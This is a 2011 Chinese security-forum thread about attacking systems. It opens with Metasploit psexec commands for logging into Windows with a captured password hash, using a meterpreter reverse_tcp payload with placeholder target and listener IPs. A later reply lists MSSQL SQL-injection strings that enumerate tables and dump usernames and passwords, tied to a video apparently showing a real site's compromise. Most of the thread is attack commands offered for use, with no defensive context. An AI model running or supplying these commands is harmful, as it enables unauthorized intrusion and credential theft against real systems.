# Metasploit使用hash直接登录系统

**URL:** <https://forum.90sec.com/t/topic/2619>\
**Category:** 交流讨论\
**Created:** [2011 年9 月 5 日 14:51 UTC](https://forum.90sec.com/t/topic/2619 "2011-09-05T14:51:06Z")\
**Posts on this page:** 3\
**Page:** 1

<div class="post-metadata">

作者： ![MythHack](https://forum.90sec.com/user_avatar/forum.90sec.com/mythhack/32/775_2.png) [@MythHack](https://forum.90sec.com/u/MythHack)\
发布日期： [2011 年9 月 5 日 14:51 UTC](https://forum.90sec.com/t/topic/2619/1 "2011-09-05T14:51:06Z")

</div>

抓到管理员的密码hash根本不用破解，直接就可以登录。use windows/smb/psexec

set SMBUser username

set SMBPass 用户密码的hash值

set payload Windows/meterpreter/reverse\_tcp

set rhost 333.333.333.333

set lhost 111.111.111.111

exploit转自：Linux520

---

<div class="post-metadata">

作者： ![cygmris](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/9d8465/32.png) [@cygmris](https://forum.90sec.com/u/cygmris)\
发布日期： [2011 年9 月 12 日 08:12 UTC](https://forum.90sec.com/t/topic/2619/2 "2011-09-12T08:12:04Z")

</div>

求一个Linux520邀请码,想进去瞧瞧hacked 天涯社区现场

---

<div class="post-metadata">

作者： ![user\_deleted4](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/c89c15/32.png) [@user\_deleted4](https://forum.90sec.com/u/user_deleted4)\
发布日期： [2011 年10 月 1 日 11:56 UTC](https://forum.90sec.com/t/topic/2619/3 "2011-10-01T11:56:12Z")

</div>

\*\*回复 [2#](http://www.sb-team.net/redirect.php?goto=findpost&pid=454&ptid=61) _hack小恒_ \*\*

```
[linux520高级板块的视频]

```

下面是视频中用到的语句

'/ **/and/** /(select/**/@@version)=1-- 数据库版本  
'/ **/and/** /(select/**/db\_name())=1-- 当前数据库  
'/ **/and/** /user\>0-- 当前用户名  
'/ **/and/** /(select/ **/top/** /1/ **/name/** /from/ **/lp.dbo.sysobjects/** /where/**/xtype='U')\>0-- 当前库的首个表  
'/ **/and/** /(select/ **/top/** /1/ **/name/** /from/ **/lp.dbo.sysobjects/** /where/ **/xtype='U'/** /and/ **/name/** /not/ **/in/** /('question'))\>0-- 依次列出  
'/ **/and/** /(select/ **/top/** /1/ **/name/** /from/ **/lp.dbo.sysobjects/** /where/ **/xtype='U'/** /and/ **/name/** /not/ **/in/** /('question','info\_main'))\>0--  
'/ **/and/** /(select/ **/top/** /1/ **/name/** /from/ **/lp.dbo.sysobjects/** /where/ **/xtype='U'/** /and/ **/name/** /not/ **/in/** /('question','info\_main','playnum'))\>0--  
'/ **/and/** /(select/ **/top/** /1/ **/name/** /from/ **/lp.dbo.sysobjects/** /where/ **/xtype='U'/** /and/ **/name/** /not/ **/in/** /('question','info\_main','playnum','prize'))\>0--  
'/ **/and/** /(select/ **/top/** /1/**/col\_name(object\_id('systemUsers'),1)/**/from/**/sysobjects)\>0-- 爆systemUsers表的字段,数字递增  
'/ **/and/** /(select/ **/top/** /1/**/username+char(124)+password/**/from/\*\*/systemUsers)\>0-- 账号密码

########################################

在线观看： [http://video.linux520.com/gv/tianya/tianya.html](http://video.linux520.com/gv/tianya/tianya.html)
